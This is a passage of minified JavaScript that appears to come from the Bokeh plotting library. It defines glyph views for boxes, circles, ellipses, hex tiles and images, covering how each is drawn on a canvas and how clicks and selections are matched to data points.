r=this.renderer.yscale.invert(n),o=this.renderer.plot_view.frame.bbox.h_range,s=this.renderer.xscale.r_invert(o.start,o.end),a=s[0],l=s[1];e=this.index.indices({minX:a,minY:r,maxX:l,maxY:r})}else{var h=this.renderer.xscale.invert(i),u=this.renderer.plot_view.frame.bbox.v_range,c=this.renderer.yscale.r_invert(u.start,u.end),_=c[0],p=c[1];e=this.index.indices({minX:h,minY:_,maxX:h,maxY:p})}var d=f.create_empty_hit_test_result();return d.indices=e,d},e.prototype.draw_legend_for_index=function(t,e,i){o.generic_area_legend(this.visuals,t,e,i)},e}(r.GlyphView);i.BoxView=s;var a=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Box\\\",this.mixins([\\\"line\\\",\\\"fill\\\"])},t}(r.Glyph);(i.Box=a).initClass()},function(t,e,i){var n=t(391),r=t(146),o=t(15),s=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e}(r.XYGlyphView);i.CenterRotatableView=s;var a=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"CenterRotatable\\\",this.mixins([\\\"line\\\",\\\"fill\\\"]),this.define({angle:[o.AngleSpec,0],width:[o.DistanceSpec],height:[o.DistanceSpec]})},t}(r.XYGlyph);(i.CenterRotatable=a).initClass()},function(t,e,i){var n=t(391),r=t(146),M=t(9),o=t(15),h=t(21),s=t(22),a=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype._map_data=function(){if(null!=this._radius)if(\\\"data\\\"==this.model.properties.radius.spec.units){var t=this.model.properties.radius_dimension.spec.value;switch(t){case\\\"x\\\":this.sradius=this.sdist(this.renderer.xscale,this._x,this._radius);break;case\\\"y\\\":this.sradius=this.sdist(this.renderer.yscale,this._y,this._radius)}}else this.sradius=this._radius,this.max_size=2*this.max_radius;else this.sradius=s.map(this._size,function(t){return t/2})},e.prototype._mask_data=function(){var t,e,i,n,r,o,s,a,l=this.renderer.plot_view.frame.bbox.ranges,h=l[0],u=l[1];if(null!=this._radius&&\\\"data\\\"==this.model.properties.radius.units){var c=h.start,_=h.end;t=this.renderer.xscale.r_invert(c,_),r=t[0],s=t[1],r-=this.max_radius,s+=this.max_radius;var p=u.start,d=u.end;e=this.renderer.yscale.r_invert(p,d),o=e[0],a=e[1],o-=this.max_radius,a+=this.max_radius}else{var c=h.start-this.max_size,_=h.end+this.max_size;i=this.renderer.xscale.r_invert(c,_),r=i[0],s=i[1];var p=u.start-this.max_size,d=u.end+this.max_size;n=this.renderer.yscale.r_invert(p,d),o=n[0],a=n[1]}var f=M.validate_bbox_coords([r,s],[o,a]);return this.index.indices(f)},e.prototype._render=function(t,e,i){for(var n=i.sx,r=i.sy,o=i.sradius,s=0,a=e;s<a.length;s++){var l=a[s];isNaN(n[l]+r[l]+o[l])||(t.beginPath(),t.arc(n[l],r[l],o[l],0,2*Math.PI,!1),this.visuals.fill.doit&&(this.visuals.fill.set_vectorize(t,l),t.fill()),this.visuals.line.doit&&(this.visuals.line.set_vectorize(t,l),t.stroke()))}},e.prototype._hit_point=function(t){var e,i,n,r,o,s,a,l,h,u,c,_,p,d,f,v,m=t.sx,g=t.sy,y=this.renderer.xscale.invert(m),b=this.renderer.yscale.invert(g);null!=this._radius&&\\\"data\\\"==this.model.properties.radius.units?(p=y-this.max_radius,d=y+this.max_radius,f=b-this.max_radius,v=b+this.max_radius):(h=m-this.max_size,u=m+this.max_size,e=this.renderer.xscale.r_invert(h,u),p=e[0],d=e[1],i=[Math.min(p,d),Math.max(p,d)],p=i[0],d=i[1],c=g-this.max_size,_=g+this.max_size,n=this.renderer.yscale.r_invert(c,_),f=n[0],v=n[1],r=[Math.min(f,v),Math.max(f,v)],f=r[0],v=r[1]);var x=M.validate_bbox_coords([p,d],[f,v]),w=this.index.indices(x),k=[];if(null!=this._radius&&\\\"data\\\"==this.model.properties.radius.units)for(var S=0,C=w;S<C.length;S++){var T=C[S];l=Math.pow(this.sradius[T],2),o=this.renderer.xscale.r_compute(y,this._x[T]),h=o[0],u=o[1],s=this.renderer.yscale.r_compute(b,this._y[T]),c=s[0],_=s[1],(a=Math.pow(h-u,2)+Math.pow(c-_,2))<=l&&k.push([T,a])}else for(var A=0,E=w;A<E.length;A++){var T=E[A];l=Math.pow(this.sradius[T],2),(a=Math.pow(this.sx[T]-m,2)+Math.pow(this.sy[T]-g,2))<=l&&k.push([T,a])}return M.create_hit_test_result_from_hits(k)},e.prototype._hit_span=function(t){var e,i,n,r,o,s,a,l,h,u=t.sx,c=t.sy,_=this.bounds(),p=_.minX,d=_.minY,f=_.maxX,v=_.maxY,m=M.create_empty_hit_test_result();if(\\\"h\\\"==t.direction){var g=void 0,y=void 0;l=d,h=v,null!=this._radius&&\\\"data\\\"==this.model.properties.radius.units?(g=u-this.max_radius,y=u+this.max_radius,e=this.renderer.xscale.r_invert(g,y),s=e[0],a=e[1]):(o=this.max_size/2,g=u-o,y=u+o,i=this.renderer.xscale.r_invert(g,y),s=i[0],a=i[1])}else{var b=void 0,x=void 0;s=p,a=f,null!=this._radius&&\\\"data\\\"==this.model.properties.radius.units?(b=c-this.max_radius,x=c+this.max_radius,n=this.renderer.yscale.r_invert(b,x),l=n[0],h=n[1]):(o=this.max_size/2,b=c-o,x=c+o,r=this.renderer.yscale.r_invert(b,x),l=r[0],h=r[1])}var w=M.validate_bbox_coords([s,a],[l,h]),k=this.index.indices(w);return m.indices=k,m},e.prototype._hit_rect=function(t){var e=t.sx0,i=t.sx1,n=t.sy0,r=t.sy1,o=this.renderer.xscale.r_invert(e,i),s=o[0],a=o[1],l=this.renderer.yscale.r_invert(n,r),h=l[0],u=l[1],c=M.validate_bbox_coords([s,a],[h,u]),_=M.create_empty_hit_test_result();return _.indices=this.index.indices(c),_},e.prototype._hit_poly=function(t){for(var e=t.sx,i=t.sy,n=h.range(0,this.sx.length),r=[],o=0,s=n.length;o<s;o++){var a=n[o];M.point_in_poly(this.sx[o],this.sy[o],e,i)&&r.push(a)}var l=M.create_empty_hit_test_result();return l.indices=r,l},e.prototype.draw_legend_for_index=function(t,e,i){var n=e.x0,r=e.y0,o=e.x1,s=e.y1,a=i+1,l=new Array(a);l[i]=(n+o)/2;var h=new Array(a);h[i]=(r+s)/2;var u=new Array(a);u[i]=.2*Math.min(Math.abs(o-n),Math.abs(s-r)),this._render(t,[i],{sx:l,sy:h,sradius:u})},e}(r.XYGlyphView);i.CircleView=a;var l=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Circle\\\",this.prototype.default_view=a,this.mixins([\\\"line\\\",\\\"fill\\\"]),this.define({angle:[o.AngleSpec,0],size:[o.DistanceSpec,{units:\\\"screen\\\",value:4}],radius:[o.DistanceSpec,null],radius_dimension:[o.String,\\\"x\\\"]})},t.prototype.initialize=function(){e.prototype.initialize.call(this),this.properties.radius.optional=!0},t}(r.XYGlyph);(i.Circle=l).initClass()},function(t,e,i){var n=t(391),r=t(122),o=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e}(r.EllipseOvalView);i.EllipseView=o;var s=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Ellipse\\\",this.prototype.default_view=o},t}(r.EllipseOval);(i.Ellipse=s).initClass()},function(t,e,i){var n=t(391),r=t(119),S=t(9),o=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype._set_data=function(){this.max_w2=0,\\\"data\\\"==this.model.properties.width.units&&(this.max_w2=this.max_width/2),this.max_h2=0,\\\"data\\\"==this.model.properties.height.units&&(this.max_h2=this.max_height/2)},e.prototype._map_data=function(){\\\"data\\\"==this.model.properties.width.units?this.sw=this.sdist(this.renderer.xscale,this._x,this._width,\\\"center\\\"):this.sw=this._width,\\\"data\\\"==this.model.properties.height.units?this.sh=this.sdist(this.renderer.yscale,this._y,this._height,\\\"center\\\"):this.sh=this._height},e.prototype._render=function(t,e,i){for(var n=i.sx,r=i.sy,o=i.sw,s=i.sh,a=i._angle,l=0,h=e;l<h.length;l++){var u=h[l];isNaN(n[u]+r[u]+o[u]+s[u]+a[u])||(t.beginPath(),t.ellipse(n[u],r[u],o[u]/2,s[u]/2,a[u],0,2*Math.PI),this.visuals.fill.doit&&(this.visuals.fill.set_vectorize(t,u),t.fill()),this.visuals.line.doit&&(this.visuals.line.set_vectorize(t,u),t.stroke()))}},e.prototype._hit_point=function(t){var e,i,n,r,o,s,a,l,h,u,c,_,p,d=t.sx,f=t.sy,v=this.renderer.xscale.invert(d),m=this.renderer.yscale.invert(f);\\\"data\\\"==this.model.properties.width.units?(o=v-this.max_width,s=v+this.max_width):(u=d-this.max_width,c=d+this.max_width,e=this.renderer.xscale.r_invert(u,c),o=e[0],s=e[1]),\\\"data\\\"==this.model.properties.height.units?(a=m-this.max_height,l=m+this.max_height):(_=f-this.max_height,p=f+this.max_height,i=this.renderer.yscale.r_invert(_,p),a=i[0],l=i[1]);for(var g=S.validate_bbox_coords([o,s],[a,l]),y=this.index.indices(g),b=[],x=0,w=y;x<w.length;x++){var k=w[x];S.point_in_ellipse(d,f,this._angle[k],this.sh[k]/2,this.sw[k]/2,this.sx[k],this.sy[k])&&(n=this.renderer.xscale.r_compute(v,this._x[k]),u=n[0],c=n[1],r=this.renderer.yscale.r_compute(m,this._y[k]),_=r[0],p=r[1],h=Math.pow(u-c,2)+Math.pow(_-p,2),b.push([k,h]))}return S.create_hit_test_result_from_hits(b)},e.prototype.draw_legend_for_index=function(t,e,i){var n=e.x0,r=e.y0,o=e.x1,s=e.y1,a=i+1,l=new Array(a);l[i]=(n+o)/2;var h=new Array(a);h[i]=(r+s)/2;var u=this.sw[i]/this.sh[i],c=.8*Math.min(Math.abs(o-n),Math.abs(s-r)),_=new Array(a),p=new Array(a);1<u?(_[i]=c,p[i]=c/u):(_[i]=c*u,p[i]=c),this._render(t,[i],{sx:l,sy:h,sw:_,sh:p,_angle:[0]})},e.prototype._bounds=function(t){var e=t.minX,i=t.maxX,n=t.minY,r=t.maxY;return{minX:e-this.max_w2,maxX:i+this.max_w2,minY:n-this.max_h2,maxY:r+this.max_h2}},e}(r.CenterRotatableView);i.EllipseOvalView=o;var s=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"EllipseOval\\\"},t}(r.CenterRotatable);(i.EllipseOval=s).initClass()},function(o,t,e){var i=o(391),p=o(9),l=o(15),h=o(24),y=o(33),s=o(49),n=o(48),r=o(59),a=o(14),b=o(22),x=o(32),d=o(44),w=o(130),k=o(181),u=function(r){function t(){var t=null!==r&&r.apply(this,arguments)||this;return t._nohit_warned={},t}return i.__extends(t,r),t.prototype.initialize=function(t){r.prototype.initialize.call(this,t),this._nohit_warned={},this.renderer=t.renderer,this.visuals=new s.Visuals(this.model);var e=this.renderer.plot_view.gl;if(null!=e){var i=null;try{i=o(452)}catch(t){if(\\\"MODULE_NOT_FOUND\\\"!==t.code)throw t;a.logger.warn(\\\"WebGL was requested and is supported, but bokeh-gl(.min).js is not available, falling back to 2D rendering.\\\")}if(null!=i){var n=i[this.model.type+\\\"GLGlyph\\\"];null!=n&&(this.glglyph=new n(e.ctx,this))}}},t.prototype.set_visuals=function(t){this.visuals.warm_cache(t),null!=this.glglyph&&this.glglyph.set_visuals_changed()},t.prototype.render=function(t,e,i){t.beginPath(),null!=this.glglyph&&this.glglyph.render(t,e,i)||this._render(t,e,i)},t.prototype.has_finished=function(){return!0},t.prototype.notify_finished=function(){this.renderer.notify_finished()},t.prototype._bounds=function(t){return t},t.prototype.bounds=function(){return this._bounds(this.index.bbox)},t.prototype.log_bounds=function(){for(var t=h.empty(),e=this.index.search(h.positive_x()),i=0,n=e;i<n.length;i++){var r=n[i];r.minX<t.minX&&(t.minX=r.minX),r.maxX>t.maxX&&(t.maxX=r.maxX)}for(var o=this.index.search(h.positive_y()),s=0,a=o;s<a.length;s++){var l=a[s];l.minY<t.minY&&(t.minY=l.minY),l.maxY>t.maxY&&(t.maxY=l.maxY)}return this._bounds(t)},t.prototype.get_anchor_point=function(t,e,i){var n=i[0],r=i[1];switch(t){case\\\"center\\\":return{x:this.scenterx(e,n,r),y:this.scentery(e,n,r)};default:return null}},t.prototype.sdist=function(t,e,i,n,r){var o,s;void 0===n&&(n=\\\"edge\\\"),void 0===r&&(r=!1);var a=e.length;if(\\\"center\\\"==n){var l=b.map(i,function(t){return t/2});o=new Float64Array(a);for(var h=0;h<a;h++)o[h]=e[h]-l[h];s=new Float64Array(a);for(var h=0;h<a;h++)s[h]=e[h]+l[h]}else{o=e,s=new Float64Array(a);for(var h=0;h<a;h++)s[h]=o[h]+i[h]}var u=t.v_compute(o),c=t.v_compute(s);return r?b.map(u,function(t,e){return Math.ceil(Math.abs(c[e]-u[e]))}):b.map(u,function(t,e){return Math.abs(c[e]-u[e])})},t.prototype.draw_legend_for_index=function(t,e,i){},t.prototype.hit_test=function(t){var e=null,i=\\\"_hit_\\\"+t.type;return null!=this[i]?e=this[i](t):null==this._nohit_warned[t.type]&&(a.logger.debug(\\\"'\\\"+t.type+\\\"' selection not available for \\\"+this.model.type),this._nohit_warned[t.type]=!0),e},t.prototype._hit_rect_against_index=function(t){var e=t.sx0,i=t.sx1,n=t.sy0,r=t.sy1,o=this.renderer.xscale.r_invert(e,i),s=o[0],a=o[1],l=this.renderer.yscale.r_invert(n,r),h=l[0],u=l[1],c=p.validate_bbox_coords([s,a],[h,u]),_=p.create_empty_hit_test_result();return _.indices=this.index.indices(c),_},t.prototype.set_data=function(t,i,e){var n,r,o,s,a=this.model.materialize_dataspecs(t);if(this.visuals.set_all_indices(i),i&&!(this instanceof w.LineView)){var l={},h=function(t){var e=a[t];\\\"_\\\"===t.charAt(0)?l[t]=i.map(function(t){return e[t]}):l[t]=e};for(var u in a)h(u);a=l}var c=this;if(x.extend(c,a),this.renderer.plot_view.model.use_map&&(null!=c._x&&(n=y.project_xy(c._x,c._y),c._x=n[0],c._y=n[1]),null!=c._xs&&(r=y.project_xsys(c._xs,c._ys),c._xs=r[0],c._ys=r[1]),null!=c._x0&&(o=y.project_xy(c._x0,c._y0),c._x0=o[0],c._y0=o[1]),null!=c._x1&&(s=y.project_xy(c._x1,c._y1),c._x1=s[0],c._y1=s[1])),null!=this.renderer.plot_view.frame.x_ranges)for(var _=this.renderer.plot_view.frame.x_ranges[this.model.x_range_name],p=this.renderer.plot_view.frame.y_ranges[this.model.y_range_name],d=0,f=this.model._coords;d<f.length;d++){var v=f[d],m=v[0],g=v[1];m=\\\"_\\\"+m,g=\\\"_\\\"+g,null!=c._xs?(_ instanceof k.FactorRange&&(c[m]=b.map(c[m],function(t){return _.v_synthetic(t)})),p instanceof k.FactorRange&&(c[g]=b.map(c[g],function(t){return p.v_synthetic(t)}))):(_ instanceof k.FactorRange&&(c[m]=_.v_synthetic(c[m])),p instanceof k.FactorRange&&(c[g]=p.v_synthetic(c[g])))}null!=this.glglyph&&this.glglyph.set_data_changed(c._x.length),this._set_data(e),this.index_data()},t.prototype._set_data=function(t){},t.prototype.index_data=function(){this.index=this._index_data()},t.prototype.mask_data=function(t){return null!=this.glglyph||null==this._mask_data?t:this._mask_data()},t.prototype.map_data=function(){for(var t,e=this,i=0,n=this.model._coords;i<n.length;i++){var r=n[i],o=r[0],s=r[1],a=\\\"s\\\"+o,l=\\\"s\\\"+s;if(s=\\\"_\\\"+s,null!=e[o=\\\"_\\\"+o]&&(d.isArray(e[o][0])||d.isTypedArray(e[o][0]))){var h=e[o].length;e[a]=new Array(h),e[l]=new Array(h);for(var u=0;u<h;u++){var c=this.map_to_screen(e[o][u],e[s][u]),_=c[0],p=c[1];e[a][u]=_,e[l][u]=p}}else t=this.map_to_screen(e[o],e[s]),e[a]=t[0],e[l]=t[1]}this._map_data()},t.prototype._map_data=function(){},t.prototype.map_to_screen=function(t,e){return this.renderer.plot_view.map_to_screen(t,e,this.model.x_range_name,this.model.y_range_name)},t}(n.View);e.GlyphView=u;var c=function(e){function t(t){return e.call(this,t)||this}return i.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Glyph\\\",this.prototype._coords=[],this.internal({x_range_name:[l.String,\\\"default\\\"],y_range_name:[l.String,\\\"default\\\"]})},t.coords=function(t){var e=this.prototype._coords.concat(t);this.prototype._coords=e;for(var i={},n=0,r=t;n<r.length;n++){var o=r[n],s=o[0],a=o[1];i[s]=[l.NumberSpec],i[a]=[l.NumberSpec]}this.define(i)},t}(r.Model);(e.Glyph=c).initClass()},function(t,e,i){var n=t(391),r=t(118),o=t(15),s=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype.scenterx=function(t){return(this.sleft[t]+this.sright[t])/2},e.prototype.scentery=function(t){return this.sy[t]},e.prototype._index_data=function(){return this._index_box(this._y.length)},e.prototype._lrtb=function(t){var e=Math.min(this._left[t],this._right[t]),i=Math.max(this._left[t],this._right[t]),n=this._y[t]+.5*this._height[t],r=this._y[t]-.5*this._height[t];return[e,i,n,r]},e.prototype._map_data=function(){this.sy=this.renderer.yscale.v_compute(this._y),this.sh=this.sdist(this.renderer.yscale,this._y,this._height,\\\"center\\\"),this.sleft=this.renderer.xscale.v_compute(this._left),this.sright=this.renderer.xscale.v_compute(this._right);var t=this.sy.length;this.stop=new Float64Array(t),this.sbottom=new Float64Array(t);for(var e=0;e<t;e++)this.stop[e]=this.sy[e]-this.sh[e]/2,this.sbottom[e]=this.sy[e]+this.sh[e]/2;this._clamp_viewport()},e}(r.BoxView);i.HBarView=s;var a=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"HBar\\\",this.prototype.default_view=s,this.coords([[\\\"left\\\",\\\"y\\\"]]),this.define({height:[o.DistanceSpec],right:[o.NumberSpec]}),this.override({left:0})},t}(r.Box);(i.HBar=a).initClass()},function(t,e,i){var n=t(391),r=t(123),f=t(9),o=t(15),a=t(37),s=t(143),l=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype.scenterx=function(t){return this.sx[t]},e.prototype.scentery=function(t){return this.sy[t]},e.prototype._set_data=function(){var t=this._q.length,e=this.model.size,i=this.model.aspect_scale;if(this._x=new Float64Array(t),this._y=new Float64Array(t),\\\"pointytop\\\"==this.model.orientation)for(var n=0;n<t;n++)this._x[n]=e*Math.sqrt(3)*(this._q[n]+this._r[n]/2)/i,this._y[n]=3*-e/2*this._r[n];else for(var n=0;n<t;n++)this._x[n]=3*e/2*this._q[n],this._y[n]=-e*Math.sqrt(3)*(this._r[n]+this._q[n]/2)*i},e.prototype._index_data=function(){var t,e=this.model.size,i=Math.sqrt(3)*e/2;\\\"flattop\\\"==this.model.orientation?(i=(t=[e,i])[0],e=t[1],e*=this.model.aspect_scale):i/=this.model.aspect_scale;for(var n=[],r=0;r<this._x.length;r++){var o=this._x[r],s=this._y[r];!isNaN(o+s)&&isFinite(o+s)&&n.push({minX:o-i,minY:s-e,maxX:o+i,maxY:s+e,i:r})}return new a.SpatialIndex(n)},e.prototype.map_data=function(){var t,e;t=this.map_to_screen(this._x,this._y),this.sx=t[0],this.sy=t[1],e=this._get_unscaled_vertices(),this.svx=e[0],this.svy=e[1]},e.prototype._get_unscaled_vertices=function(){var t=this.model.size,e=this.model.aspect_scale;if(\\\"pointytop\\\"==this.model.orientation){var i=this.renderer.yscale,n=this.renderer.xscale,r=Math.abs(i.compute(0)-i.compute(t)),o=Math.sqrt(3)/2*Math.abs(n.compute(0)-n.compute(t))/e,s=r/2,a=[0,-o,-o,0,o,o],l=[r,s,-s,-r,-s,s];return[a,l]}var i=this.renderer.xscale,n=this.renderer.yscale,r=Math.abs(i.compute(0)-i.compute(t)),o=Math.sqrt(3)/2*Math.abs(n.compute(0)-n.compute(t))*e,s=r/2,a=[r,s,-s,-r,-s,s],l=[0,-o,-o,0,o,o];return[a,l]},e.prototype._render=function(t,e,i){for(var n=i.sx,r=i.sy,o=i.svx,s=i.svy,a=i._scale,l=0,h=e;l<h.length;l++){var u=h[l];if(!isNaN(n[u]+r[u]+a[u])){t.translate(n[u],r[u]),t.beginPath();for(var c=0;c<6;c++)t.lineTo(o[c]*a[u],s[c]*a[u]);t.closePath(),t.translate(-n[u],-r[u]),this.visuals.fill.doit&&(this.visuals.fill.set_vectorize(t,u),t.fill()),this.visuals.line.doit&&(this.visuals.line.set_vectorize(t,u),t.stroke())}}},e.prototype._hit_point=function(t){for(var e=t.sx,i=t.sy,n=this.renderer.xscale.invert(e),r=this.renderer.yscale.invert(i),o=this.index.indices({minX:n,minY:r,maxX:n,maxY:r}),s=[],a=0,l=o;a<l.length;a++){var h=l[a];f.point_in_poly(e-this.sx[h],i-this.sy[h],this.svx,this.svy)&&s.push(h)}var u=f.create_empty_hit_test_result();return u.indices=s,u},e.prototype._hit_span=function(t){var e,i=t.sx,n=t.sy;if(\\\"v\\\"==t.direction){var r=this.renderer.yscale.invert(n),o=this.renderer.plot_view.frame.bbox.h_range,s=this.renderer.xscale.r_invert(o.start,o.end),a=s[0],l=s[1];e=this.index.indices({minX:a,minY:r,maxX:l,maxY:r})}else{var h=this.renderer.xscale.invert(i),u=this.renderer.plot_view.frame.bbox.v_range,c=this.renderer.yscale.r_invert(u.start,u.end),_=c[0],p=c[1];e=this.index.indices({minX:h,minY:_,maxX:h,maxY:p})}var d=f.create_empty_hit_test_result();return d.indices=e,d},e.prototype._hit_rect=function(t){var e=t.sx0,i=t.sx1,n=t.sy0,r=t.sy1,o=this.renderer.xscale.r_invert(e,i),s=o[0],a=o[1],l=this.renderer.yscale.r_invert(n,r),h=l[0],u=l[1],c=f.validate_bbox_coords([s,a],[h,u]),_=f.create_empty_hit_test_result();return _.indices=this.index.indices(c),_},e.prototype.draw_legend_for_index=function(t,e,i){s.generic_area_legend(this.visuals,t,e,i)},e}(r.GlyphView);i.HexTileView=l;var h=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"HexTile\\\",this.prototype.default_view=l,this.coords([[\\\"r\\\",\\\"q\\\"]]),this.mixins([\\\"line\\\",\\\"fill\\\"]),this.define({size:[o.Number,1],aspect_scale:[o.Number,1],scale:[o.NumberSpec,1],orientation:[o.String,\\\"pointytop\\\"]}),this.override({line_color:null})},t}(r.Glyph);(i.HexTile=h).initClass()},function(t,e,i){var n=t(391),r=t(146),o=t(167),s=t(15),c=t(21),l=t(37),_=t(9),a=function(i){function t(){return null!==i&&i.apply(this,arguments)||this}return n.__extends(t,i),t.prototype.initialize=function(t){var e=this;i.prototype.initialize.call(this,t),this.connect(this.model.color_mapper.change,function(){return e._update_image()}),this.connect(this.model.properties.global_alpha.change,function(){return e.renderer.request_render()})},t.prototype._update_image=function(){null!=this.image_data&&(this._set_data(),this.renderer.plot_view.request_render())},t.prototype._index_data=function(){for(var t=[],e=0,i=this._x.length;e<i;e++){var n=this._lrtb(e),r=n[0],o=n[1],s=n[2],a=n[3];!isNaN(r+o+s+a)&&isFinite(r+o+s+a)&&t.push({minX:r,minY:a,maxX:o,maxY:s,i:e})}return new l.SpatialIndex(t)},t.prototype._lrtb=function(t){var e=this.renderer.xscale.source_range,i=this._x[t],n=e.is_reversed?i-this._dw[t]:i+this._dw[t],r=this.renderer.yscale.source_range,o=this._y[t],s=r.is_reversed?o-this._dh[t]:o+this._dh[t],a=i<n?[i,n]:[n,i],l=a[0],h=a[1],u=o<s?[o,s]:[s,o],c=u[0],_=u[1];return[l,h,_,c]},t.prototype._image_index=function(t,e,i){var n=this._lrtb(t),r=n[0],o=n[1],s=n[2],a=n[3],l=this._width[t],h=this._height[t],u=(o-r)/l,c=(s-a)/h,_=Math.floor((e-r)/u),p=Math.floor((i-a)/c);return{index:t,dim1:_,dim2:p,flat_index:p*l+_}},t.prototype._hit_point=function(t){var e=t.sx,i=t.sy,n=this.renderer.xscale.invert(e),r=this.renderer.yscale.invert(i),o=_.validate_bbox_coords([n,n],[r,r]),s=this.index.indices(o),a=_.create_empty_hit_test_result();a.image_indices=[];for(var l=0,h=s;l<h.length;l++){var u=h[l];e!=1/0&&i!=1/0&&a.image_indices.push(this._image_index(u,n,r))}return a},t.prototype._set_data=function(){null!=this.image_data&&this.image_data.length==this._image.length||(this.image_data=new Array(this._image.length)),null!=this._width&&this._width.length==this._image.length||(this._width=new Array(this._image.length)),null!=this._height&&this._height.length==this._image.length||(this._height=new Array(this._image.length));for(var t=this.model.color_mapper.rgba_mapper,e=0,i=this._image.length;e<i;e++){var n=void 0;if(null!=this._image_shape&&0<this._image_shape[e].length){n=this._image[e];var r=this._image_shape[e];this._height[e]=r[0],this._width[e]=r[1]}else{var o=this._image[e];n=c.concat(o),this._height[e]=o.length,this._width[e]=o[0].length}var s=this.image_data[e],a=void 0;null!=s&&s.width==this._width[e]&&s.height==this._height[e]?a=s:((a=document.createElement(\\\"canvas\\\")).width=this._width[e],a.height=this._height[e]);var l=a.getContext(\\\"2d\\\"),h=l.getImageData(0,0,this._width[e],this._height[e]),u=t.v_compute(n);h.data.set(u),l.putImageData(h,0,0),this.image_data[e]=a,this.max_dw=0,\\\"data\\\"==this.model.properties.dw.units&&(this.max_dw=c.max(this._dw)),this.max_dh=0,\\\"data\\\"==this.model.properties.dh.units&&(this.max_dh=c.max(this._dh))}},t.prototype._map_data=function(){switch(this.model.properties.dw.units){case\\\"data\\\":this.sw=this.sdist(this.renderer.xscale,this._x,this._dw,\\\"edge\\\",this.model.dilate);break;case\\\"screen\\\":this.sw=this._dw}switch(this.model.properties.dh.units){case\\\"data\\\":this.sh=this.sdist(this.renderer.yscale,this._y,this._dh,\\\"edge\\\",this.model.dilate);break;case\\\"screen\\\":this.sh=this._dh}},t.prototype._render=function(t,e,i){var n=i.image_data,r=i.sx,o=i.sy,s=i.sw,a=i.sh,l=t.getImageSmoothingEnabled();t.setImageSmoothingEnabled(!1),t.globalAlpha=this.model.global_alpha;for(var h=0,u=e;h<u.length;h++){var c=u[h];if(null!=n[c]&&!isNaN(r[c]+o[c]+s[c]+a[c])){var _=o[c];t.translate(0,_),t.scale(1,-1),t.translate(0,-_),t.drawImage(n[c],0|r[c],0|o[c],s[c],a[c]),t.translate(0,_),t.scale(1,-1),t.translate(0,-_)}}t.setImageSmoothingEnabled(l)},t.prototype.bounds=function(){var t=this.index.bbox;return t.maxX+=this.max_dw,t.maxY+=this.max_dh,t},t}(r.XYGlyphView);i.ImageView=a;var h=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Image\\\",this.prototype.default_view=a,this.define({image:[s.NumberSpec],dw:[s.DistanceSpec],dh:[s.DistanceSpec],dilate:[s.Bool,!1],global_alpha:[s.Number,1],color_mapper:[s.Instance,function(){return new o.LinearColorMapper({palette:[\\\"#000000\\\",\\\"#252525\\\",\\\"#525252\\\",\\\"#737373\\\",\\\"#969696\\\",\\\"#bdbdbd\\\",\\\"#d9d9d9\\\",\\\"#f0f0f0\\\",\\\"#ffffff\\\"]})}]})},t}(r.XYGlyph);(i.Image=h).initClass()},function(t,e,i){var n=t(391),r=t(146),o=t(15),f=t(21),s=function(i){function t(){return null!==i&&i.apply(this,arguments)||this}return n.__extends(t,i),t.prototype.initialize=function(t){var e=this;i.prototype.initialize.call(this,t),this.connect(this.model.properties.global_alpha.change,function(){return e.renderer.request_render()})},t.prototype._set_data=function(t){null!=this.image_data&&this.image_data.length==this._image.length||(this.image_data=new Array(this._image.length)),null!=this._width&&this._width.length==this._image.length||(this._width=new Array(this._image.length)),null!=this._height&&this._height.length==this._image.length||(this._height=new Array(this._image.length));for(var e=0,i=this._image.length;e<i;e++)if(!(null!=t&&t.indexOf(e)<0)){var n=void 0;if(null!=this._image_shape&&0<this._image_shape[e].length){n=this._image[e].buffer;var r=this._image_shape[e];this._height[e]=r[0],this._width[e]=r[1]}else{var o=this._image[e],s=f.concat(o);n=new ArrayBuffer(4*s.length);for(var a=new Uint32Array(n),l=0,h=s.length;l<h;l++)a[l]=s[l];this._height[e]=o.length,this._width[e]=o[0].length}var u=this.image_data[e],c=void 0;null!=u&&u.width==this._width[e]&&u.height==this._height[e]?c=u:((c=document.createElement(\\\"canvas\\\")).width=this._width[e],c.height=this._height[e]);var _=c.getContext(\\\"2d\\\"),p=_.getImageData(0,0,this._width[e],this._height[e]),d=new Uint8Array(n);p.data.set(d),_.putImageData(p,0,0),this.image_data[e]=c,this.max_dw=0,\\\"data\\\"==this.model.properties.dw.units&&(this.max_dw=f.max(this._dw)),this.max_dh=0,\\\"data\\\"==this.model.properties.dh.units&&(this.max_dh=f.max(this._dh))}},t.prototype._map_data=function(){switch(this.model.properties.dw.units){case\\\"data\\\":this.sw=this.sdist(this.renderer.xscale,this._x,this._dw,\\\"edge\\\",this.model.dilate);break;case\\\"screen\\\":this.sw=this._dw}switch(this.model.properties.dh.units){case\\\"data\\\":this.sh=this.sdist(this.renderer.yscale,this._y,this._dh,\\\"edge\\\",this.model.dilate);break;case\\\"screen\\\":this.sh=this._dh}},t.prototype._render=function(t,e,i){var n=i.image_data,r=i.sx,o=i.sy,s=i.sw,a=i.sh,l=t.getImageSmoothingEnabled();t.setImageSmoothingEnabled(!1),t.globalAlpha=this.model.global_alpha;for(var h=0,u=e;h<u.length;h++){var c=u[h];if(!isNaN(r[c]+o[c]+s[c]+a[c])){var 